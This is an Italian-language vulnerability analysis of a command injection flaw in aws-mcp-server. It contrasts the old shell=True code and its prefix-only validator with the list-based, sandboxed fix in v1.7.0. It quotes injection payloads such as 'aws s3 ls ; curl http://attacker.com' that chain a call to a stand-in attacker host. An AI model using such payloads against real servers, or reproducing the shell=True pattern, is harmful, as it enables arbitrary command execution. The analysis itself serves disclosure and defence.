
Proof-of-concept che dimostra l'iniezione di comandi in aws-mcp-server tramite shell=True, con analisi del codice vulnerabile e della correzione nella v1.7.0.
Dove si trova CVE-2026-5059 nel codice? La vulnerabilità è in due file che lavorano insieme:
File 1: tools.py — La causa principale La vecchia versione usava shell=True in execute_piped_command(): python# CODICE VECCHIO VULNERABILE process = subprocess.run( command, # ← stringa grezza passata alla shell shell=True, # ← QUESTO è il problema ... ) Con shell=True, la shell del sistema operativo interpreta l'intera stringa inclusi ;, &&, ||, backtick — quindi qualsiasi cosa dopo ; viene eseguita come comando separato.
File 2: security.py — La protezione incompleta Il validatore controllava solo che il comando iniziasse con aws: python# CODICE VECCHIO VULNERABILE def validate_pipe_command(command: str): if not command.strip().startswith("aws"): raise ValueError("Must start with aws") # ← si ferma qui, nessun controllo su cosa c'è dopo la pipe Quindi aws s3 ls ; curl http://attacker.com superava la validazione — inizia con aws — poi shell=True eseguiva entrambe le parti.
Perché la versione attuale (v1.7.0) è diversa Guardando il codice attuale, entrambi i problemi sono spariti: python# CODICE ATTUALE in cli_executor.py cmd_parts = shlex.split(command) # divide in una lista subprocess.run(cmd_parts, shell=False) # basato su lista, nessuna interpretazione della shell E security.py è stato eliminato del tutto — sostituito dalla sandbox del sistema operativo (Landlock/bwrap/Seatbelt). Il ; ora è innocuo: "aws s3 ls ; curl http://evil.com" → shlex.split → ['aws', 's3', 'ls', ';', 'curl', 'http://evil.com'] → subprocess riceve ';' come argomento letterale per aws → la CLI AWS lo ignora, nessun secondo comando viene eseguito
Riepilogo in una riga Versione vulnerabileVersione attuale v1.7.0Esecuzioneshell=True + stringashell=False + listaValidazioneinizia con "aws" soloSandbox a livello di sistema operativo; gestioneEseguito dalla shellTrattato come testo letterale La CVE è stata registrata contro la vecchia versione. ZDI l'ha pubblicata come 0-day perché il vendor ha rifiutato il report — ma l'architettura si era già allontanata da shell=True prima che la CVE fosse pubblicata.